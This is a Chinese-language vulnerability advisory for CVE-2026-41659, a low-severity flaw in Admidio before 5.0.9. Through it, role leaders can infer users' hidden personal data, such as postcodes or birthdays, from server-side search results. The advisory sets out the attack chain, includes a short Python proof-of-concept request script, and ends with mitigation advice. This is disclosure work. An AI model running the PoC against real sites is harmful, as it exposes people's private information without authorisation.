IPBUF安全漏洞报告
English
CVE-2026-41659 CVSS 2.7 低危

CVE-2026-41659 Admidio隐藏字段信息泄露漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41659
漏洞类型
信息泄露
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Admidio

相关标签

信息泄露Admidio权限绕过侧信道攻击PII泄露

漏洞概述

Admidio是一个开源的用户管理解决方案。在5.0.9版本之前,其成员分配DataTables端点存在安全漏洞。尽管前端JSON输出通过isVisible()检查抑制了隐藏列的显示,但服务器端搜索在SQL级别进行,未正确过滤隐藏字段。这导致拥有分配权限的角色领导者可以通过观察特定隐藏值的搜索结果,推断出用户的敏感个人身份信息(如生日、地址等)。该问题已在5.0.9版本中修复。

技术细节

该漏洞位于Admidio的`members_assignment_data.php`组件中。当系统处理DataTables的服务器端搜索请求时,会将隐藏的个人资料字段(如BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY)直接包含在SQL查询的WHERE条件中。虽然前端返回的JSON数据会通过`isVisible()`函数过滤掉这些字段的显示,防止直接读取,但SQL查询逻辑本身并未受此限制。攻击者需要拥有“角色领导者”及分配权限。利用时,攻击者可以通过构造包含特定隐藏字段值的搜索参数(例如搜索特定的邮政编码),观察返回的用户列表。如果某用户出现在针对该隐藏值的搜索结果中,攻击者即可确认该用户包含该隐藏属性,从而绕过界面上的访问控制,实现敏感信息的侧信道推断。

攻击链分析

STEP 1
信息收集
攻击者确认目标使用的是Admidio系统,且版本低于5.0.9。
STEP 2
获取权限
攻击者获取一个具有“角色领导者”且拥有成员分配权限的账号。
STEP 3
漏洞利用
攻击者向`members_assignment_data.php`端点发送搜索请求,参数中包含推测的隐藏字段值(如特定生日或邮编)。
STEP 4
数据推断
攻击者分析返回的用户列表。如果特定用户出现在搜索结果中,即可确认该用户拥有被搜索的隐藏属性值,从而获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests """ PoC for CVE-2026-41659 (Admidio Hidden Field Inference) This script demonstrates how a role leader can infer hidden PII (e.g., Postcode) by observing search results. """ target_url = "https://target-admidio-site/admidio/modules/members/members_assignment_data.php" # Attacker's cookie (requires Role Leader with assign permissions) cookies = { "admidio_session_id": "valid_session_cookie_here" } # Data to search for a hidden field (e.g., POSTCODE) # Even if 'POSTCODE' is hidden in the profile, it is used in the SQL backend search. payload = { "sSearch": "12345", # The value to infer (e.g., a specific postcode) "roleId": "1" # The role ID to search within } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: data = response.json() # Check if the expected user appears in the results # If the user is listed, we know their hidden postcode matches '12345' print(f"Search result count: {data.get('iTotalDisplayRecords', 0)}") if data.get('iTotalDisplayRecords', 0) > 0: print("[+] User found with the inferred hidden attribute.") else: print("[-] No user found.") except Exception as e: print(f"Error: {e}")

影响范围

Admidio < 5.0.9

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时撤销非必要人员的“角色领导者”权限,或禁用成员分配功能,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表